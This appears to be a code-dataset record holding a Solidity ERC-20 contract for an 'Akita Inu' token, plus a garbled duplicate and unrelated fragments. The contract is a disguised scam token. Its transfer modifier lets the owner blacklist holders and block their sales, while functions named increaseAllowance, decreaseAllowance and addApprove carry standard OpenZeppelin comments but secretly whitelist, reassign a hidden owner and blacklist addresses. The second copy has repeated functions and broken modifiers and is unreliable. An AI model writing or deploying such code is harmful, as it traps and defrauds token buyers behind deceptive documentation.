function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Akita is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_name = 'Akita Inu';
_symbol = 'AKITA';
_decimals = 18;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(_owner, 1000000000*1e6*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract Akita is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor () public {
_name = 'Akita Inu';
_symbol = 'AKITA';
_decimals = 18;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(_owner, 1000000000*1e6*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 13,502,612 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
432,
8691,
69,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
3885,
1832,
2
] |
./full_match/11155111/0xdd8E19b29b2530Bc9b34BeBd69C31cf7B176c33b/sources/src/RepoDriver.sol | @notice The Drips address used by this driver. @notice The driver ID which this driver uses when calling Drips. @notice The Link token used for paying the operators. @notice The ERC-1967 storage slot holding a single `RepoDriverStorage` structure. @notice The ERC-1967 storage slot holding a single `RepoDriverAnyApiStorage` structure. @notice Emitted when the AnyApi operator configuration is updated. @param operator The new address of the AnyApi operator. @param jobId The new AnyApi job ID used for requesting user owner updates. @param defaultFee The new fee in Link for each user owner. update request when the driver is covering the cost. @notice Emitted when the user ownership update is requested. @param userId The ID of the user. @param forge The forge where the repository is stored. @param name The name of the repository. @notice Emitted when the user ownership is updated. @param userId The ID of the user. @param owner The new owner of the repository. | struct RepoDriverStorage {
mapping(uint256 userId => address) userOwners;
| 3,824,996 | [
1,
1986,
463,
566,
